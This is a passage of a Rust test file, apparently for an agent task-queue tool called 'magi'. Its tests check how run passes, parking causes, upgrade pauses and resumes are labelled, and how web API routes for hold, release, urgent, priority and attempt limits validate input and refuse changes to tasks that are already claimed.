13067 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13068 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13069 }
13070
13071 #[test]
13072 fn flow_names_the_branch_of_a_review_only_run() {
13073 let t = flow_task(&[FA]);
13074 let f = flow_for(
13075 &t,
13076 &[(
13077 FA,
13078 Some(flow_run(RunStatus::Merged, |s| {
13079 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13080 })),
13081 )],
13082 );
13083 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13084 assert_eq!(
13085 f.nodes[1].detail.as_deref(),
13086 Some("review-only run of branch magi/x/A")
13087 );
13088 }
13089
13090 #[test]
13091 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13092 let mut t = flow_task(&[FA]);
13093 t.status = TaskStatus::Held;
13094 let pr = crate::run::PrRecord {
13095 url: "https://example.test/pr/1".to_owned(),
13096 number: 1,
13097 state: "open".to_owned(),
13098 checks: "green".to_owned(),
13099 round: 0,
13100 rounds: 3,
13101 red_at_merge: Vec::new(),
13102 };
13103 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13104 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13105 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13106 t.status = TaskStatus::Done;
13107 let f = flow_for(&t, &[(FA, Some(blocked))]);
13108 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13109 }
13110
13111 #[test]
13112 fn flow_with_no_runs_goes_from_queued_to_queued() {
13113 let t = flow_task(&[]);
13114 let f = flow_for(&t, &[]);
13115 assert_eq!(f.nodes.len(), 2);
13116 assert_eq!(f.edges.len(), 1);
13117 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
13118 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13119 }
13120
13121 #[test]
13124 fn a_parked_non_terminal_run_is_explained_as_parked() {
13125 let mut s = RunState::new(
13126 PathBuf::from("/repo/magi"),
13127 "main".to_owned(),
13128 "0123456789abcdef".to_owned(),
13129 "Do it".to_owned(),
13130 Config::default(),
13131 );
13132 s.status = RunStatus::Implementing;
13133 s.parked = true;
13134 let task = Task::new(
13135 "t".to_owned(),
13136 "Do it".to_owned(),
13137 PathBuf::from("/repo/magi"),
13138 Source::Human,
13139 );
13140 let v = task_run_view(
13141 "20260902-140501-aaaa",
13142 Some(&s),
13143 RunSlot {
13144 n: 1,
13145 resumed: false,
13146 resumed_later: None,
13147 prior: None,
13148 last: true,
13149 ..RunSlot::default()
13150 },
13151 &task,
13152 );
13153 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
13154 }
13155
13156 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
13157 let mut s = flow_run(RunStatus::Implementing, edit);
13158 s.parked = false;
13159 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
13160 task_run_view(
13161 "20260902-140501-aaaa",
13162 Some(&s),
13163 RunSlot {
13164 n: 1,
13165 resumed: false,
13166 resumed_later: Some(2),
13167 prior: None,
13168 last: false,
13169 ..RunSlot::default()
13170 },
13171 &task,
13172 )
13173 }
13174
13175 #[test]
13176 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
13177 let v = earlier_pass_view(|_| {});
13178 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
13179 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13180 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
13181 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
13182 assert_eq!(v.exit, RunExit::Interrupted);
13183 assert_eq!(v.attempt, AttemptCost::Unknown);
13184 }
13185
13186 #[test]
13187 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
13188 let v = earlier_pass_view(|s| {
13189 s.quota.push(crate::run::QuotaLoss {
13190 seat: "judge-1".to_owned(),
13191 node: "judge".to_owned(),
13192 at: Timestamp::now(),
13193 reset: None,
13194 });
13195 });
13196 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
13197 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13198 assert_eq!(v.attempt, AttemptCost::Unknown);
13199 }
13200
13201 #[test]
13202 fn the_current_pass_states_its_recorded_cause_and_cost() {
13203 let slot = || RunSlot {
13204 n: 1,
13205 resumed: false,
13206 resumed_later: None,
13207 prior: None,
13208 last: true,
13209 ..RunSlot::default()
13210 };
13211 let task = flow_task(&["20260902-140501-aaaa"]);
13212 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
13213 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
13214 assert_eq!(
13215 (v.exit, v.attempt),
13216 (RunExit::Parked, AttemptCost::Refunded)
13217 );
13218 let spent = flow_run(RunStatus::Blocked, |_| {});
13219 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
13220 assert_eq!(v.attempt, AttemptCost::Spent);
13221 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
13222 }
13223
13224 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
13225 crate::run::RunPass {
13226 index,
13227 started_at: Timestamp::now(),
13228 resumed: index > 0,
13229 ended_at: end.as_ref().map(|_| Timestamp::now()),
13230 end,
13231 task_entry: true,
13232 }
13233 }
13234
13235 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
13236 Some(crate::run::PassEnd::Parked { cause })
13237 }
13238
13239 fn upgrade_cause() -> crate::run::ParkCause {
13240 crate::run::ParkCause::Upgrade {
13241 from: "0.121.0".to_owned(),
13242 to: Some("0.121.1".to_owned()),
13243 }
13244 }
13245
13246 fn settled_pass(
13247 run: &str,
13248 index: usize,
13249 cost: crate::queue::PassCost,
13250 ) -> crate::queue::TaskPass {
13251 crate::queue::TaskPass {
13252 run: run.to_owned(),
13253 pass_index: index,
13254 cost,
13255 attempts_after: 1,
13256 settled_at: Timestamp::now(),
13257 parked: None,
13258 }
13259 }
13260
13261 const RUN_X: &str = "20261011-223708-4334";
13262
13263 #[test]
13264 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
13265 use crate::queue::PassCost;
13266 let run = flow_run(RunStatus::Implementing, |s| {
13267 s.passes = vec![
13268 recorded_pass(0, parked(upgrade_cause())),
13269 recorded_pass(1, None),
13270 ];
13271 });
13272 let mut task = flow_task(&[RUN_X, RUN_X]);
13273 task.attempts = 1;
13274 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13275 let h = task_history(&task, |_| Some(run.clone()));
13276 assert_eq!(h.len(), 2);
13277 assert_eq!(h[0].kind, "competition");
13278 assert_eq!(h[1].kind, "resume");
13279 assert_eq!(
13280 (h[0].exit, h[0].attempt),
13281 (RunExit::Parked, AttemptCost::Refunded)
13282 );
13283 assert!(
13284 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
13285 "{}",
13286 h[0].outcome
13287 );
13288 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
13289 assert!(
13290 h[0].outcome.contains("pass #2 resumed the same run"),
13291 "{}",
13292 h[0].outcome
13293 );
13294 assert!(
13295 h[0].outcome.contains("pass 1 of 2 over run"),
13296 "{}",
13297 h[0].outcome
13298 );
13299 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13300 assert_eq!(
13301 h[0].exit_label,
13302 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
13303 );
13304 let f = task_flow(&task, &h, 2, None);
13305 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
13307 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13308 assert!(
13309 f.edges[1].label.contains("upgrade 0.121.0"),
13310 "{}",
13311 f.edges[1].label
13312 );
13313 assert!(
13314 f.edges[1].label.contains("resume the same run"),
13315 "{}",
13316 f.edges[1].label
13317 );
13318 assert_eq!(f.nodes[1].note, Some("parked"));
13319 }
13320
13321 #[test]
13322 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
13323 let mut a = flow_run(RunStatus::Implementing, |s| {
13324 s.passes = vec![
13325 recorded_pass(0, parked(upgrade_cause())),
13326 recorded_pass(1, None),
13327 ];
13328 });
13329 let mut b = flow_run(RunStatus::Failed, |s| {
13330 s.passes = vec![recorded_pass(0, None)];
13331 });
13332 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
13333 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
13334 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
13335 let mut task = flow_task(&[]);
13336 task.start("a".into());
13337 task.start("b".into());
13338 task.start("a".into());
13339 assert_eq!(task.runs, ["b", "a"]);
13340 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
13341 let h = task_history(&task, |id| {
13342 Some(if id == "a" { a.clone() } else { b.clone() })
13343 });
13344 assert_eq!(
13345 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
13346 ["a", "b", "a"]
13347 );
13348 assert_eq!(h[0].attempt, AttemptCost::Refunded);
13349 assert!(h[0].outcome.contains("upgrade"));
13350 assert_eq!(h[2].kind, "resume");
13351 assert!(h[2].pass.is_some());
13352 task.runs = vec!["a".into(), "b".into(), "a".into()];
13354 let old = task_history(&task, |id| {
13355 Some(if id == "a" { a.clone() } else { b.clone() })
13356 });
13357 assert_eq!(
13358 old.iter()
13359 .map(|v| (&v.id, &v.kind, v.attempt))
13360 .collect::<Vec<_>>(),
13361 h.iter()
13362 .map(|v| (&v.id, &v.kind, v.attempt))
13363 .collect::<Vec<_>>()
13364 );
13365 }
13366
13367 #[test]
13368 fn an_upgrade_whose_target_was_not_known_says_so() {
13369 let run = flow_run(RunStatus::Implementing, |s| {
13370 s.passes = vec![
13371 recorded_pass(
13372 0,
13373 parked(crate::run::ParkCause::Upgrade {
13374 from: "0.121.0".to_owned(),
13375 to: None,
13376 }),
13377 ),
13378 recorded_pass(1, None),
13379 ];
13380 });
13381 let task = flow_task(&[RUN_X, RUN_X]);
13382 let h = task_history(&task, |_| Some(run.clone()));
13383 assert!(
13384 h[0].outcome.contains("upgrade from 0.121.0"),
13385 "{}",
13386 h[0].outcome
13387 );
13388 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13390 }
13391
13392 #[test]
13393 fn each_pass_keeps_its_own_cause_across_several_resumes() {
13394 use crate::queue::PassCost;
13395 use crate::run::ParkCause;
13396 let run = flow_run(RunStatus::Implementing, |s| {
13397 s.passes = vec![
13398 recorded_pass(0, parked(upgrade_cause())),
13399 recorded_pass(
13400 1,
13401 parked(ParkCause::Interrupt {
13402 reason: "task a1b2 asked to run first".to_owned(),
13403 }),
13404 ),
13405 recorded_pass(2, parked(ParkCause::Operator)),
13406 recorded_pass(3, None),
13407 ];
13408 });
13409 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
13410 task.attempts = 1;
13411 task.passes = (0..3)
13412 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
13413 .collect();
13414 let h = task_history(&task, |_| Some(run.clone()));
13415 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13416 assert!(
13417 h[1].outcome.contains("task a1b2 asked to run first"),
13418 "{}",
13419 h[1].outcome
13420 );
13421 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
13422 assert!(
13423 h[2].outcome.contains("operator asked the loop to park"),
13424 "{}",
13425 h[2].outcome
13426 );
13427 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
13428 let f = task_flow(&task, &h, 2, None);
13429 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
13430 }
13431
13432 #[test]
13433 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
13434 let run = flow_run(RunStatus::Implementing, |s| {
13435 s.passes = vec![
13436 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
13437 recorded_pass(1, None),
13438 ];
13439 });
13440 let task = flow_task(&[RUN_X, RUN_X]);
13441 let h = task_history(&task, |_| Some(run.clone()));
13442 assert_eq!(h[0].exit, RunExit::Interrupted);
13443 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13444 assert!(
13445 h[0].outcome.contains("without recording why"),
13446 "{}",
13447 h[0].outcome
13448 );
13449 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13450 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
13451 }
13452
13453 #[test]
13454 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
13455 use crate::queue::PassCost;
13456 let run = flow_run(RunStatus::Implementing, |s| {
13459 s.passes = vec![
13460 recorded_pass(0, parked(upgrade_cause())),
13461 recorded_pass(1, None),
13462 ];
13463 });
13464 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
13465 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13466 let h = task_history(&task, |_| Some(run.clone()));
13467 assert!(h[0].pass.is_none());
13468 assert_eq!(h[0].exit, RunExit::Interrupted);
13469 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13470 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13471 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13472 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
13473 let legacy = flow_run(RunStatus::Implementing, |_| {});
13475 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
13476 assert!(h.iter().all(|v| v.pass.is_none()));
13477 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13478 }
13479
13480 #[test]
13481 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
13482 use crate::queue::PassCost;
13483 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
13486 web.task_entry = false;
13487 let run = flow_run(RunStatus::Implementing, |s| {
13488 s.passes = vec![
13489 recorded_pass(0, parked(upgrade_cause())),
13490 web.clone(),
13491 recorded_pass(2, None),
13492 ];
13493 });
13494 let mut task = flow_task(&[RUN_X, RUN_X]);
13495 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13496 let h = task_history(&task, |_| Some(run.clone()));
13497 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13498 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
13499
13500 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
13503 web0.task_entry = false;
13504 let run = flow_run(RunStatus::Implementing, |s| {
13505 s.passes = vec![web0.clone(), recorded_pass(1, None)];
13506 });
13507 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
13508 assert!(h[0].pass.is_none());
13509 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13510 assert!(h[1].pass.is_some());
13511 }
13512
13513 #[tokio::test]
13514 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
13515 let dir = tempfile::tempdir().unwrap();
13516 let queue = Queue::at(dir.path().join("queue"));
13517 let ui = Arc::new(Ui::new(
13518 queue.clone(),
13519 Questions::at(dir.path().join("questions")),
13520 Talks::at(dir.path().join("talks")),
13521 dir.path().join("runs"),
13522 dir.path().to_path_buf(),
13523 dir.path().to_path_buf(),
13524 ));
13525 let mut t = Task::new(
13526 "recover".into(),
13527 "Inspect".into(),
13528 PathBuf::from("."),
13529 Source::Human,
13530 );
13531 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
13532 t.start("run-A".into());
13533 t.release_operator("choice", Some("resume-question"));
13534 t.resume_override = Some(crate::queue::OperatorResume {
13535 question_id: "resume-question".into(),
13536 at: jiff::Timestamp::now(),
13537 conductor_rehold: None,
13538 forced: true,
13539 pinned_run: Some("run-A".into()),
13540 });
13541 t.hold_machine(Some("inspection pending".into()));
13542 t.edit("recover".into(), "Reuse approved PR head".into())
13543 .unwrap();
13544 queue.put(&mut t).unwrap();
13545 let mut cli = t.clone();
13546 cli.release_operator("cli", None);
13547 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
13548 let reloaded = queue.get(&t.id).unwrap();
13549 assert_eq!(reply.task.status, TaskStatus::Queued);
13550 assert!(reloaded.resume_override.is_none());
13551 assert_eq!(reloaded.answers, t.answers);
13552 let mut web = reloaded.resumption.unwrap();
13553 let cli = cli.resumption.unwrap();
13554 assert_eq!(web.source, "web");
13555 web.source = cli.source.clone();
13556 web.at = cli.at;
13557 assert_eq!(web, cli);
13558 }
13559
13560 #[tokio::test]
13561 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
13562 let f = Fixture::start().await;
13563 let queue = f.queue();
13564 let mut task = Task::new(
13565 "spent".to_owned(),
13566 "Try again".to_owned(),
13567 PathBuf::from("/repo/magi"),
13568 Source::Human,
13569 );
13570 task.start("20260902-140502-bbbb".to_owned());
13571 task.fail("agent gave up", 9);
13572 queue.put(&mut task).expect("file the task");
13573
13574 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13575 assert_eq!(held.status, 200);
13576 assert_eq!(held.json()["status_str"], "held");
13577
13578 let released = f
13579 .post(&format!("/api/queue/{}/release", task.id), None)
13580 .await;
13581 assert_eq!(released.status, 200);
13582 assert_eq!(released.json()["status_str"], "queued");
13583 assert_eq!(released.json()["resumption"]["source"], "web");
13584 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
13585 let mut cli = task.clone();
13586 cli.release_operator("cli", None);
13587 let web = queue.get(&task.id).unwrap().resumption.unwrap();
13588 let cli = cli.resumption.unwrap();
13589 assert_eq!(web.instruction, cli.instruction);
13590 assert_eq!(web.answers_through, cli.answers_through);
13591 assert_eq!(web.runs_through, cli.runs_through);
13592 assert_eq!(web.cleared_reason, cli.cleared_reason);
13593 assert_eq!(
13594 released.json()["attempts"],
13595 0,
13596 "release is a real second chance, not an instant re-hold"
13597 );
13598 assert_eq!(
13599 queue.get(&task.id).expect("reload").status,
13600 TaskStatus::Queued,
13601 "the change is on disk, not only in the reply"
13602 );
13603 assert!(
13604 !f.home
13605 .path()
13606 .join("queue")
13607 .join(format!("{}.lock", task.id))
13608 .exists(),
13609 "the claim the mutation took is released again"
13610 );
13611 }
13612
13613 #[tokio::test]
13614 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
13615 let f = Fixture::start().await;
13616 let queue = f.queue();
13617 let mut task = Task::new(
13618 "busy".to_owned(),
13619 "Running right now".to_owned(),
13620 PathBuf::from("/repo/magi"),
13621 Source::Human,
13622 );
13623 queue.put(&mut task).expect("file the task");
13624 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13625
13626 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13627
13628 assert_eq!(res.status, 409);
13629 assert_eq!(
13630 queue.get(&task.id).expect("reload").status,
13631 TaskStatus::Queued,
13632 "the refused hold changed nothing"
13633 );
13634 }
13635
13636 #[tokio::test]
13637 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13638 let f = Fixture::start().await;
13639 let queue = f.queue();
13640 let mut task = Task::new(
13641 "waiting on the migration".to_owned(),
13642 "Do the thing".to_owned(),
13643 PathBuf::from("/repo/magi"),
13644 Source::Human,
13645 );
13646 queue.put(&mut task).expect("file the task");
13647
13648 let held = f
13649 .post(
13650 &format!("/api/queue/{}/hold", task.id),
13651 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13652 )
13653 .await;
13654 assert_eq!(held.status, 200, "{}", held.body);
13655 assert_eq!(held.json()["status_str"], "held");
13656 assert_eq!(
13657 held.json()["hold_reason"],
13658 "waiting for 20260101-000000-aaaa to land"
13659 );
13660
13661 let listed = f.get("/api/queue").await.json();
13662 assert_eq!(
13663 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13664 "the card reads the reason off the same list route"
13665 );
13666
13667 let mut plain = Task::new(
13670 "no reason given".to_owned(),
13671 "Do another thing".to_owned(),
13672 PathBuf::from("/repo/magi"),
13673 Source::Human,
13674 );
13675 queue.put(&mut plain).expect("file the task");
13676 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13677 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
13678 assert!(held_plain.json()["hold_reason"].is_null());
13679
13680 let released = f
13681 .post(&format!("/api/queue/{}/release", task.id), None)
13682 .await;
13683 assert_eq!(released.status, 200);
13684 assert!(
13685 released.json()["hold_reason"].is_null(),
13686 "a release must clear the reason so the next hold does not inherit it"
13687 );
13688 }
13689
13690 #[test]
13691 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13692 for urgent in [true, false] {
13693 let body: UrgentBody =
13694 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13695 assert_eq!(body.urgent, urgent);
13696 }
13697 for input in [
13698 r#"{}"#,
13699 r#"{"urgent":null}"#,
13700 r#"{"urgent":"true"}"#,
13701 r#"{"urgent":1}"#,
13702 r#"{"urgent":true,"extra":false}"#,
13703 ] {
13704 assert!(
13705 serde_json::from_str::<UrgentBody>(input).is_err(),
13706 "{input}"
13707 );
13708 }
13709 }
13710
13711 #[tokio::test]
13712 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13713 let home = TempDir::new().unwrap();
13714 let q = Queue::at(home.path().join("queue"));
13715 let ui = Arc::new(Ui::new(
13716 q.clone(),
13717 Questions::at(home.path().join("questions")),
13718 Talks::at(home.path().join("talks")),
13719 home.path().join("runs"),
13720 home.path().into(),
13721 home.path().into(),
13722 ));
13723 let mut task = Task::new(
13724 "urgent handler".into(),
13725 "keep".into(),
13726 home.path().into(),
13727 Source::Human,
13728 );
13729 for status in [TaskStatus::Queued, TaskStatus::Held] {
13730 task.status = status;
13731 q.put(&mut task).unwrap();
13732 for urgent in [true, true, false, false] {
13733 let saved = queue_urgent(
13734 State(Arc::clone(&ui)),
13735 Path(task.short().into()),
13736 Ok(Json(UrgentBody { urgent })),
13737 )
13738 .await
13739 .unwrap();
13740 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13741 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13742 }
13743 }
13744 task.status = TaskStatus::Queued;
13745 q.put(&mut task).unwrap();
13746 let claim = q.claim(&task.id).unwrap();
13747 let error = queue_urgent(
13748 State(Arc::clone(&ui)),
13749 Path(task.id.clone()),
13750 Ok(Json(UrgentBody { urgent: true })),
13751 )
13752 .await
13753 .unwrap_err();
13754 assert_eq!(error.status, StatusCode::CONFLICT);
13755 assert!(error.message.contains("released"));
13756 drop(claim);
13757 for status in [
13758 TaskStatus::Running,
13759 TaskStatus::Done,
13760 TaskStatus::Failed,
13761 TaskStatus::Blocked,
13762 TaskStatus::Parked,
13763 ] {
13764 task.status = status;
13765 q.put(&mut task).unwrap();
13766 let error = queue_urgent(
13767 State(Arc::clone(&ui)),
13768 Path(task.id.clone()),
13769 Ok(Json(UrgentBody { urgent: false })),
13770 )
13771 .await
13772 .unwrap_err();
13773 assert_eq!(error.status, StatusCode::BAD_REQUEST);
13774 assert!(error.message.contains(status.as_str()));
13775 }
13776 }
13777
13778 #[tokio::test]
13779 async fn urgent_api_updates_preserves_and_validates_tasks() {
13780 let f = Fixture::start().await;
13781 let q = f.queue();
13782 let mut t = Task::new(
13783 "urgent API".into(),
13784 "unchanged".into(),
13785 PathBuf::from("/repo/magi"),
13786 Source::Human,
13787 );
13788 t.attempts = 2;
13789 t.priority = 9;
13790 t.interrupt = true;
13791 t.hold_reason = Some("waiting for approval".into());
13792 for status in [TaskStatus::Queued, TaskStatus::Held] {
13793 t.status = status;
13794 q.put(&mut t).unwrap();
13795 for urgent in [true, true, false, false] {
13796 let response = f
13797 .post(
13798 &format!("/api/queue/{}/urgent", t.short()),
13799 Some(&format!("{{\"urgent\":{urgent}}}")),
13800 )
13801 .await;
13802 assert_eq!(response.status, 200, "{}", response.body);
13803 assert_eq!(response.json()["urgent"], urgent);
13804 let saved = q.get(&t.id).unwrap();
13805 let mut before = serde_json::to_value(&t).unwrap();
13806 let mut after = serde_json::to_value(saved).unwrap();
13807 before["urgent"] = urgent.into();
13808 before.as_object_mut().unwrap().remove("updated_at");
13809 after.as_object_mut().unwrap().remove("updated_at");
13810 assert_eq!(after, before);
13811 }
13812 }
13813 let route = format!("/api/queue/{}/urgent", t.id);
13814 for body in [
13815 r#"{}"#,
13816 r#"{"urgent":null}"#,
13817 r#"{"urgent":"true"}"#,
13818 r#"{"urgent":1}"#,
13819 r#"{"urgent":true,"extra":false}"#,
13820 "{",
13821 ] {
13822 assert_eq!(f.post(&route, Some(body)).await.status, 400);
13823 }
13824 t.status = TaskStatus::Queued;
13825 q.put(&mut t).unwrap();
13826 let claim = q.claim(&t.id).unwrap();
13827 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
13828 assert_eq!(response.status, 409, "{}", response.body);
13829 assert!(!q.get(&t.id).unwrap().urgent);
13830 drop(claim);
13831 for status in [
13832 TaskStatus::Running,
13833 TaskStatus::Done,
13834 TaskStatus::Failed,
13835 TaskStatus::Blocked,
13836 TaskStatus::Parked,
13837 ] {
13838 t.status = status;
13839 q.put(&mut t).unwrap();
13840 for urgent in [true, false] {
13841 let response = f
13842 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
13843 .await;
13844 assert_eq!(response.status, 400, "{}", response.body);
13845 assert!(response.body.contains(status.as_str()));
13846 assert!(response.body.contains("queued or held"));
13847 assert!(!q.get(&t.id).unwrap().urgent);
13848 }
13849 }
13850 assert_eq!(
13851 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
13852 .await
13853 .status,
13854 404
13855 );
13856 }
13857
13858 #[tokio::test]
13859 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
13860 let f = Fixture::start().await;
13861 let queue = f.queue();
13862 let mut older = Task::new(
13863 "filed first".to_owned(),
13864 "x".to_owned(),
13865 PathBuf::from("/repo/magi"),
13866 Source::Human,
13867 );
13868 older.id = "20260101-000001-aaaa".to_owned();
13869 let mut newer = Task::new(
13870 "filed second".to_owned(),
13871 "x".to_owned(),
13872 PathBuf::from("/repo/magi"),
13873 Source::Human,
13874 );
13875 newer.id = "20260101-000002-bbbb".to_owned();
13876 queue.put(&mut older).expect("file older");
13877 queue.put(&mut newer).expect("file newer");
13878
13879 let before = f.get("/api/queue").await.json();
13882 assert_eq!(before[0]["id"], newer.id);
13883 assert_eq!(before[1]["id"], older.id);
13884
13885 let raised = f
13889 .post(
13890 &format!("/api/queue/{}/priority", older.id),
13891 Some(r#"{"priority":10}"#),
13892 )
13893 .await;
13894 assert_eq!(raised.status, 200, "{}", raised.body);
13895 assert_eq!(raised.json()["priority"], 10);
13896
13897 let after = f.get("/api/queue").await.json();
13898 let names: Vec<&str> = after
13899 .as_array()
13900 .unwrap()
13901 .iter()
13902 .map(|t| t["id"].as_str().unwrap())
13903 .collect();
13904 assert_eq!(names[0], older.id, "the raised task now sorts first");
13908 }
13909
13910 #[tokio::test]
13911 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
13912 let dir = TempDir::new().unwrap();
13913 let q = Queue::at(dir.path().join("queue"));
13914 let ui = Arc::new(Ui::new(
13915 q.clone(),
13916 Questions::at(dir.path().join("questions")),
13917 Talks::at(dir.path().join("talks")),
13918 dir.path().join("runs"),
13919 dir.path().to_path_buf(),
13920 dir.path().to_path_buf(),
13921 ));
13922 let mut t = Task::new(
13923 "budget".into(),
13924 "keep".into(),
13925 dir.path().into(),
13926 Source::Human,
13927 );
13928 t.attempts = 2;
13929 t.runs.push("prior-run".into());
13930 t.hold_manual(Some("waiting".into()));
13931 q.put(&mut t).unwrap();
13932 let change = |value| {
13933 queue_attempt_limit(
13934 State(ui.clone()),
13935 Path(t.id.clone()),
13936 Ok(Json(AttemptLimitBody {
13937 attempt_limit: value,
13938 })),
13939 )
13940 };
13941 for value in [
13942 serde_json::json!(3),
13943 serde_json::Value::Null,
13944 serde_json::json!(1),
13945 ] {
13946 let response = change(value.clone()).await.unwrap();
13947 assert_eq!(
13948 serde_json::to_value(response.0).unwrap()["attempt_limit"],
13949 value
13950 );
13951 let saved = q.get(&t.id).unwrap();
13952 assert_eq!(
13953 serde_json::to_value(&saved).unwrap()["attempt_limit"],
13954 value
13955 );
13956 assert_eq!(saved.status, TaskStatus::Held);
13957 assert_eq!(saved.attempts, t.attempts);
13958 assert_eq!(saved.runs, t.runs);
13959 assert_eq!(saved.hold_reason, t.hold_reason);
13960 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
13961 .await
13962 .unwrap()
13963 .0;
13964 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
13965 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
13966 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
13967 assert_eq!(outcome.max_attempts, detail.max_attempts);
13968 }
13969 for value in [
13970 serde_json::json!(0),
13971 serde_json::json!(-1),
13972 serde_json::json!(1.5),
13973 serde_json::json!("3"),
13974 serde_json::json!(true),
13975 ] {
13976 assert_eq!(
13977 change(value).await.err().unwrap().status,
13978 StatusCode::BAD_REQUEST
13979 );
13980 }
13981 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
13982 let claim = q.claim(&t.id).unwrap();
13983 assert_eq!(
13984 change(serde_json::json!(4)).await.err().unwrap().status,
13985 StatusCode::CONFLICT
13986 );
13987 drop(claim);
13988 for status in [
13989 TaskStatus::Running,
13990 TaskStatus::Done,
13991 TaskStatus::Failed,
